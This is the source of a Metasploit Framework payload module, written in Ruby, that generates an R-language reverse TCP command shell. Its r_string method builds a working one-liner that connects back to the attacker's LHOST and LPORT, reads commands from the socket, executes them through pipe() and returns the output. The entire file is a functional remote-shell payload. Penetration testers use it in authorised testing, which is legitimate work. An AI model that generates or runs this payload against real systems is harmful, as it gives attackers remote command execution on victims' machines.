metasploit-framework/modules/payloads/singles/r/shell_reverse_tcp.rb

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/r'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
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CachedSize = 150
include Msf::Payload::Single
include Msf::Payload::R
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'R Command Shell, Reverse TCP',
'Description' => 'Connect back and create a command shell via R',
'Author' => [ 'RageLtMan' ],
'License' => MSF_LICENSE,
'Platform' => 'r',
'Arch' => ARCH_R,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'r',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return prepends(r_string)
end
def r_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
"(pipe(readLines(s, 1))),s)}"
end
end